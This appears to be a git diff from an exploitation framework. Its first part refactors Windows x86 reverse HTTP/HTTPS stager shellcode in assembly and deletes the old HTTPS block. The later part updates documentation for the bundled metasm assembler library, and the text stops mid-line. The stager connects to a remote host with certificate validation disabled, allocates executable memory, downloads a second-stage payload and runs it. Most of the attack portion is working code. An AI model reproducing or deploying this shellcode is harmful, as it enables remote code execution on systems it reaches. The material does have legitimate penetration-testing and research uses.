INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID +%else +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 ; INTERNET_FLAG_NO_UI +%endif + ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -16,65 +35,74 @@ load_wininet: push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) + xor ebx,ebx + internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags + push ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username + push ebx ; password (NULL) + push ebx ; username (NULL) push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 | ; INTERNET_FLAG_NO_UI - ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method + push ebx ; dwContext (NULL) + push HTTP_OPEN_FLAGS ; dwFlags + push ebx ; accept types + push ebx ; referrer + push ebx ; version + jmp get_server_uri ; push pointer to url +got_server_uri: + push ebx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; save hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop edi + +send_request: + +%ifdef ENABLE_SSL +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push byte 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + +%endif httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers + push ebx ; lpOptional length (0) + push ebx ; lpOptional (NULL) + push ebx ; dwHeadersLength (0) + push ebx ; lpszHeaders (NULL) push esi ; hHttpRequest push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp @@ -82,28 +110,30 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short httpsendrequest + dec edi + jnz send_request -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 +; if we didn't allocate before running out of retries, fall through to +; failure failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call got_server_uri + +server_uri: + db "/12345", 0x00 + allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push ebx ; NULL as we dont care where the allocation is push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); @@ -135,7 +165,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm deleted file mode 100644 index 28a0a04783..0000000000 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ /dev/null @@ -1,159 +0,0 @@ -;-----------------------------------------------------------------------------; -; Author: HD Moore -; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 -; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) -; Version: 1.0 -;-----------------------------------------------------------------------------; -[BITS 32] - -; Input: EBP must be the address of 'api_call'. -; Output: EDI will be the socket for the connection to the server -; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp short dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push dword 4444 ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00000200 ; INTERNET_FLAG_NO_UI - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - -set_retry: - push byte 0x10 - pop ebx - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION - mov eax, esp - push byte 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz short allocate_memory - -try_it_again: - dec ebx - jz failure - jmp short set_security_options - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 - -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - -allocate_memory: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - -download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead - -download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz failure - - mov eax, [edi] - add ebx, eax ; buffer += bytes_received - - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage - -execute_stage: - ret ; dive into the stored stage address - -get_server_host: - call internetconnect - -server_host: - diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm index 061290001a..e73a0231ae 100644 --- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm @@ -1,19 +1,20 @@ -;-----------------------------------------------------------------------------; -; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 -; Version: 1.0 (24 July 2009) -; Size: 274 bytes -; Build: >build.py stager_reverse_tcp_nx -;-----------------------------------------------------------------------------; - -[BITS 32] -[ORG 0] - - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. -%include "./src/block/block_api.asm" -start: ; - pop ebp ; pop off the address of 'api_call' for calling later. -%include "./src/block/block_reverse_https.asm" +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Size: 274 bytes +; Build: >build.py stager_reverse_tcp_nx +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%define ENABLE_SSL 1 +%include "./src/block/block_reverse_http.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. diff --git a/lib/metasm.rb b/lib/metasm.rb index ebe35d2b23..db05c0b36e 100644 --- a/lib/metasm.rb +++ b/lib/metasm.rb @@ -1,7 +1,2 @@ # Load a slightly tweaked METASM stub require 'metasm/metasm' - -# Manually load the classes we need from METASM -require 'metasm/ia32' -require 'metasm/mips' -require 'metasm/exe_format/shellcode' diff --git a/lib/metasm/.hg_archival.txt b/lib/metasm/.hg_archival.txt deleted file mode 100644 index 09fc31a53b..0000000000 --- a/lib/metasm/.hg_archival.txt +++ /dev/null @@ -1,2 +0,0 @@ -repo: a1be49ad3727a7dab9202f848ad39b5674e1aada -node: 7ec6509ea16231e365fffc91014755c810c27536 diff --git a/lib/metasm/README b/lib/metasm/README index 5a94ac997b..4896d1d4be 100644 --- a/lib/metasm/README +++ b/lib/metasm/README @@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the comments in the scripts headers. You can also try the --help argument if you're feeling lucky. +For more information, check the doc/ subdirectory. The text files can be +compiled to html using the misc/txt2html.rb script. + + Here is a short overview of the Metasm internals. @@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc) Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str) Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string -PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work -with memory-mmaped versions of those formats (e.g. to debugging running +PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work +with memory-mmaped versions of those formats (e.g. to debug running processes) @@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat) Debugging: -Metasm includes a few interfaces to allow live debugging. +Metasm includes a few interfaces to handle debugging. The WinOS and LinOS classes offer access to the underlying OS processes (e.g. OS.current.find_process('foobar') will retrieve a running process with foobar in its filename ; then process.mem can be used to access its memory.) -The Windows and Linux debugging APIs (x86 only) have a basic ruby interface -(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the -windows debugging API) ; those will be more worked on/integrated in the future. +The Windows and Linux low-level debugging APIs have a basic ruby interface +(PTrace and WinAPI) ; which are used by the unified high-end Debugger class. +Remote debugging is supported through the GDB server wire protocol. + +High-level debuggers can be created with the following ruby line: +Metasm::OS.current.create_debugger('foo') + +Only one kind of host debugger class can exist at a time ; to debug multiple +processes, attach to other processes using the existing class. This is due +to the way the OS debugging API works on Windows and Linux. + +The low-level backends are defined in the os/ subdirectory, the front-end is +defined in debug.rb. A linux console debugging interface is available in samples/lindebug.rb ; it -uses a SoftICE-like look and feel. -This interface can talk to a gdb-server through samples/gdbclient.rb ; use -[udp:] as target. +uses a (simplified) SoftICE-like look and feel. +It can talk to a gdb-server socket ; use a [udp:] target. -The disassembler scripts allow live process interaction by using as target -'live:'. - -A generic debugging interface is available, it is defined in metasm/os/main.rb -It may be accessed using the Metasm::OS.current.create_debugger('foo') - -It can be viewed in action using the GUI and 'open live' target. +The disassembler-gui sample allow live process interaction when using as +target 'live:'. C Parser: @@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats: - __int8 etc native types - Label addresses (&&label) Also note that all those things are parsed, but most of them will fail to -compile on the Ia32 backend (the only one implemented so far.) +compile on the Ia32/X64 backend (the only one implemented so far.) + +Parsing C files should be done using an existing ExeFormat, with the +parse_c_file method. This ensures that format-specific macros/ABI are correctly +defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc) When you parse a C String using C::Parser.parse(text), you receive a Parser object. It holds a #toplevel field, which is a C::Block, which holds #structs, @@ -249,15 +261,11 @@ CExpressions...) A C::Parser may be #precompiled to transform it into a simplified version that is easier to compile: typedefs are removed, control sequences are transformed -in if () goto ; etc. +into 'if (XX) goto YY;' etc. To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with exe-specific macros defined (eg __PE__ or __ELF__). -The prefered way to create a C::Parser is to initialize it with a CPU and the -desired ExeFormat, so that it is -correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and -may define preprocessor macros needed to correctly parse standard headers. Vendor-specific headers may need to use either #pragma prepare_visualstudio (to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the latter may be auto-detected (or may not). diff --git a/lib/metasm/TODO b/lib/metasm/TODO index 550bc8392e..11361bacfe 100644 --- a/lib/metasm/TODO +++ b/lib/metasm/TODO @@ -2,13 +2,14 @@ List of TODO items, by section, in random order Ia32 emu fpu - add all sse2 instrs + AVX support realmode X86_64 decompiler CPU + Arm Sparc Cell @@ -26,14 +27,14 @@ Assembler Disasm DecodedData Exe decoding generate decodeddata ? - Function-local namespace (esp+12 -> esp+var_42) + Function variable names using stack analysis + ExpressionString Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk) Test with ET_REL style exe Store stuff out of mem (to handle big binaries) Better :default usage good on call eax, but not on <600k instrs> ret use binary personality ? (uses call vs uses pushret..) - Improve backtrace -> patch di.instr.args exprs + Improve 'backtrace => patch di.instr.args' path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:) Decode pseudo/macro-instrs (mips 'li') Deoptimizer (instr reordering for readability) @@ -69,6 +70,7 @@ Decompiler Handle/hide compiler-generated stuff (getip, stack cookie setup/check..) Handle call 1f ; 1: pop eax More user control (force/forbid register arg, return type, etc) + Preserve C decompiled line association to range of asm decoded addrs Debugger OSX @@ -81,7 +83,6 @@ Debugger Remote debugging (small standalone C client) Support dbghelp.dll (ms symbol server info) Support debugee function call (gdb 'call') - Manipulate memory through C struct casts ExeFormat Handle minor editing without decode/reencode (eg patch ELF entrypoint) @@ -105,10 +106,9 @@ GUI show breakpoints show jump direction from current flag values have a console frontend - better graph positionning fallback zoom font when zooming graph - copy/paste, selection + text selection map (part of) the binary & debug it (map a PE on a linux host & run it) Ruby - compile ruby AST to native optimized code + write a fast ruby-like interpreter diff --git a/lib/metasm/doc/code_organisation.txt b/lib/metasm/doc/code_organisation.txt deleted file mode 100644 index d60ddfccb6..0000000000 --- a/lib/metasm/doc/code_organisation.txt +++ /dev/null @@ -1,146 +0,0 @@ -Metasm source code organisation -=============================== - -The metasm source code takes advantage of the ruby language facilities, -which allows splitting the definition of a single class in multiple files. - -Each file in the source tree holds code related to a particular feature of -the framework. - -Directories ------------ - -The top-level directories are : - -* `doc/`: this documentation -* `metasm/`: the framework core -* `samples/`: a set of sample scripts showing various functionnalities of the framework -* `tests/`: a few unit tests (too few..) -* `misc/`: misc ruby scripts, not directly related to metasm - -The core --------- - -The `metasm/` directory holds most of the code of the framework, along with the -main `metasm.rb` file in the top directory. - -The top-level `metasm.rb` has code to load parts of the framework source on demand -in the ruby interpreter, which is implemented with ruby's - - -Executable formats -################## - -The `exe_format/` subdirectory contains the implementations of the various -binary file formats supported in the framework. - -Three files have a special meaning here: - -* `main.rb`: it defines the class -* `serialstruct.rb`: here you'll find the definitions of -* `autoexe.rb`: the implementation of , which allows the recognition of arbitrary files from their binary signature. - -The `main.rb` file is included in all other formats, as all file classes -are subclasses of `ExeFormat`. - -The `serialstruct.rb` implements a helper class to ease the description of -binary structures, and generate parsing/encoding functions for those. - -All other files implement a specific file format handler. The bigger files -(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and -decoding/disassembly. - - -CPUs -#### - -All supported architectures have a dedicated subdirectory, and a helper file -that will simply include all the arch-specific files. - -All those files will contribute to add functions to the same class implementing -the CPU interface. Not all CPUs implement all those features. They are: - -* `main.rb`: inner classes definitions (for registers etc), generic functions -* `opcodes.rb`: initializes the opcode list for the architecture -* `encode.rb`: methods to encode instructions -* `decode.rb`: methods to decode/emulate instructions -* `parse.rb`: methods to parse asm instructions from a source file -* `render.rb`: methods to output an instruction to a string -* `compile_c.rb`: the C compiler implementation -* `decompile.rb`: the arch-specific part of the generic decompiler -* `debug.rb`: arch-specific information used when debugging target of this architecture - -In some cases the files are small enough to be all merged into the `main.rb` file. - - -Operating systems -################# - -The `os/` subdirectory holds the code used to abstract an operating systems. - -The files here define an API allowing to enumerate running processes, and interact -with them in various ways. The class and subclasses are -defined there. - -Those files also holds the list of known functions and in which system libraries -they can be found (see or ), which -are used when linking executable files. - - -Graphical user-interface -######################## - -The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces. - -Currently those include the disassembler and the debugger (see the *samples* section). - -Those GUI elements are implemented using a custom GUI abstraction, and reside in the -various `dasm_*.rb` and `debug.rb`. - -The actual implementation of the GUI are found in: - -* `win32.rb`: the native Win32 API backend -* `gtk.rb`: a Gtk2 backend, intended for unix platforms -* `qt.rb`: a Qt backend experiment - -Please note that the Qt backend does not work *at all*. - -The `gui.rb` file in the main directory is used to chose among the available GUI backend -the most appropriate for the current session. - - -Others -###### - -The other files directly in the `metasm/` directory are either support files -(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by -specific cpu/exeformat instances, or implement arch-agnostic features. -Those include: - -* `preprocessor.rb`: the C/asm preprocessor/lexer -* `parse_c.rb`: this is the implementation of the C parser -* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source -* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder -* `dynldr.rb`: this module is used when interacting directly with the host operating system through - - -The samples ------------ - -The `samples/` directory contains a lot of small files that intend to be -exemples of how to use the framework. It also holds experiments and -work-in-progress for features that may later be integrated into the main -framework. - -The comment at the beginning of the file should be clear about the purpose -of the script, and the scripts are expected to be copy/pasted and tweaked -for the specific task needed by the user (that's you). - -Some of those files however are full-featured applications: - -* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts -* `disassemble.rb`: a disassembler -* `disassemble-gui.rb`: the graphical disassembler / debugger - -The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler. - diff --git a/lib/metasm/doc/const_missing.txt b/lib/metasm/doc/const_missing.txt deleted file mode 100644 index 88d0519b6c..0000000000 --- a/lib/metasm/doc/const_missing.txt +++ /dev/null @@ -1,16 +0,0 @@ -The const_missing trick -======================= - -Metasm uses a ruby trick to load most of the framework on demand, so that -*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter -unless you use them. - -It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of -`Module.autoload`. This mechanism will automatically load the specified metasm -components whenever a reference is made to one of the constants listed here. - -Metasm provides a replacement top-level file, `misc/metasm-all.rb`, -which will unconditionally load all metasm files. -This will not however load mutually exclusive files, like the Gui subsystems ; -in this case it will load only the autodetected gui module (win32 or gtk). - diff --git a/lib/metasm/doc/core/DynLdr.txt b/lib/metasm/doc/core/DynLdr.txt deleted file mode 100644 index fb133ad546..0000000000 --- a/lib/metasm/doc/core/DynLdr.txt +++ /dev/null @@ -1,247 +0,0 @@ -DynLdr -====== - -DynLdr is a class that uses metasm to dynamically add native methods, -or native method wrappers, available to the running ruby interpreter. - -It leverages the built-in C parser / compiler. - -It is implemented in `metasm/dynldr.rb`. - -Currently only supported for and under -Windows and Linux. - - -Basics ------- - -Native library wrapper -###################### - -The main usage is to generate interfaces to native libraries. - -This is done through the `#new_api_c` method. - -The following exemple will read the specified C header fragment, -define ruby constants for all `#define`/`enum`, and define ruby -method wrappers to call the native functions whose prototype is -present in the header. - -All referenced native functions must be exported by the given -library file. - - class MyInterface < DynLdr - c_header = < 4) - return 1; - else - return 0; - } - EOS - end - -References to external functions are allowed, and resolved automatically. - -The ruby objects used as arguments to the wrapper method are -automatically converted to the right C type. - - -You can also write native functions in assembly, but you must specify a -C prototype, used for argument and return value conversion. - - class MyInterface < DynLdr - new_func_asm "int increment(int i);", < :size, :s_value => 42) - - # we can access fields using Hash-style access - s_obj['s_UniOn'] = 0xa8 - - # or Struct-style access - puts '0x%x' % s_obj.s_BiTS2 # => '0xa' - -This object can be directly passed as argument to a wrapped function, and -the native function will receive a pointer to this structure (that it can -freely modify). - -This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`. -Internally, it is based on a ruby `String`, and has a reference to the parser's -`Struct` to find the mapping membername -> offsets/length. - -See for more details. - - -Callbacks ---------- - -`DynLdr` handles C callbacks, with arbitrary ABI. - -Any number of callbacks can be defined at any time. - -C callbacks are backed by a ruby `Proc`, eg `lambda {}`. - - - class MyInterface < DynLdr - new_api_c < memory_read(p2, 1) - } - qsort(str, str.length, 1, cmp) - p str - end - - - -Argument conversion -------------------- - -Ruby objects passed to a wrapper method are converted to the corresponding -C type - -* `Strings` are converted to a C pointer to the byte buffer (also directly -accessible from the ruby through `DynLdr.str_ptr(obj)` -* `Integers` are converted to their C equivalent, according to the prototype -(`char`, `unsigned long long`, ...) -* `Procs` are converted to a C callback -* `Floats` are not supported for now. - - -Working with memory -------------------- - -DynLdr provides different ways to allocate memory. - -* `alloc_c_struct` to allocate a C structure -* `alloc_c_ary` to allocate C array of some type -* `alloc_c_ptr`, which is just an ary of size 1 -* `memory_alloc` allocates memory from a new memory page - -`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows, -and is suitable for allocating memory where you want to control -the memory permissions (read, write, execute). This is done through `memory_perm`. - -`memory_perm` takes for argument the start address, the length, and the new permission, specified as a String (e.g. 'r', 'rwx') - -To work with memory that may be returned by an API (e.g. `malloc`), -DynLdr provides ways to read and write arbitrary pointers from the ruby -interpreter memory. -Take care, those may generate faults when called with invalid addresses that -will crash the ruby interpreter. - -* `memory_read` takes a pointer and a length, and returns a String -* `memory_read_int` takes a pointer, and returns an Integer (of pointer size, -e.g. 64 bit in a 64-bit interpreter) -* `memory_write` takes a pointer and a String, and writes it to memory -* `memory_write_int` - - -Hacking -------- - -Internally, DynLdr relies on a number of features that are not directly -available from the ruby interpreter. - -So the first thing done by the script is to generate a binary native module -that will act as a C extension to the ruby interpreter. -This binary is necessarily different depending on the interpreter. -The binary name includes the target architecture, in the format -dynldr-*arch*-*cpu*-*19*.so, e.g. - -* dynldr-linux-ia32.so -* dynldr-windows-x64-19.so - -This native module is (re)generated if it does not exist, or is older than the -`dynldr.rb` script. - -A special trick is used in this module, as it does not know the actual name -of the ruby library used by the interpreter. So on linux, the `libruby` is -removed from the `DT_NEEDED` library list, and on windows a special stub -is assembled to manually resolve the ruby imports needed by the module from -any instance of `libruby` present in the running process. - -The native file is written to a directory writeably by the current user. -The following list of directories are tried, until a suitable one is found: - -* the `metasm` directory itself -* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory -* the `$TMP`/`$TEMP`/current directory - diff --git a/lib/metasm/doc/core/ExeFormat.txt b/lib/metasm/doc/core/ExeFormat.txt deleted file mode 100644 index 55a874c80b..0000000000 --- a/lib/metasm/doc/core/ExeFormat.txt +++ /dev/null @@ -1,43 +0,0 @@ -ExeFormat -========= - -This class is the parent of all executable format handlers. - -It is defined in `metasm/exe_format/main.rb`. - -It defines some standard shortcut functions, such as: - -* `Exe.decode_file(filename)` -* `Exe.assemble(cpu,asm_source)` -* `Exe.compile_c(cpu,c_source)` -* `Exe#encode_file(filename)` - -These methods will instanciate a new Exe, and call the corresponding -methods, *e.g.* `load` with the file content, and `decode`. - -The handling of the different structures in the binary format should be -done using the facility. - -The subclasses are expected to implement various functions, depending on the -usage (refer to the ELF and COFF implementations for more details): - -File decoding/disassembly -------------------------- - -* `#decode_header`: parse the raw data in `#encoded` only to parse the file header -* `#decode`: parse all the raw data in `#encoded` -* `#cpu_from_headers`: return a instance according to the exe header information -* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc) -* `#dump_section_header`: return a string that may be assembled to recreate the specified section -* `#section_info`: return a list of generic section informations for the disassembler - - -File encoding/source parsing ----------------------------- - -* `#tune_prepro`: define exe-specific macros for the preprocessor (optional) -* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source -* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`... -* `#assemble`: assemble the content of the @cursource into binary section contents -* `#encode`: assemble the various sections and a binary header into `@encoded` - diff --git a/lib/metasm/doc/core/Expression.txt b/lib/metasm/doc/core/Expression.txt deleted file mode 100644 index 2009e39b28..0000000000 --- a/lib/metasm/doc/core/Expression.txt +++ /dev/null @@ -1,220 +0,0 @@ -Expression -========== - -Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g. -* `42` -* `eax + 12` -* `loc_4228h + 4*ebx - 12` - -These expressions can include `Integers`, `Symbols`, and `Strings`. - -The symbols and strings represent arbitrary variables, with the convention that -strings represent fixed quantities (eg addresses, labels), whereas symbols -represent more variable stuff (eg register values). - -There is also a special symbol that may be used, `:unknown`, to represent a -value that is known to be unknown. See the `reduce` section. - -See also . - -The Expression class holds all methods relative to Integer binary manipulation, -that is `encoding` and `decoding` from/to a binary blob (see also -) - - -Members -------- - -Expressions hold exactly 3 members: -* `lexpr`, the left-hand side of the expression -* `rexpr`, the right-hand side -* `op`, the operator - -`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or -Expression. For unary operators, `lexpr` is `nil`. - -`op` is a Symbol representing the operation. -It should be from the list: -* arithmetic: `+ - / * >> << & | ^` -* boolean: `|| && == != > >= < <=` -* unary: `+ - ~ !` - - -Instantiation -------------- - -In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`, -`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except -for negative numeric values, which is stored with `op` == `:-` and `rexpr` == -abs). - -If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called -recursively, to ease the definition of nested Expressions. - -Exemples: - - Expression[42] - Expression[:eax, :+, 12] - Expression[:-, 'my_var'] - Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]] - -The Expression class also includes a parser, to allow creating an expression -from a string. `parse_string!` will create an Expression and update its -argument to point after the last part read successfully into the expr. -The parser handles standard C operator precedence. - - str = 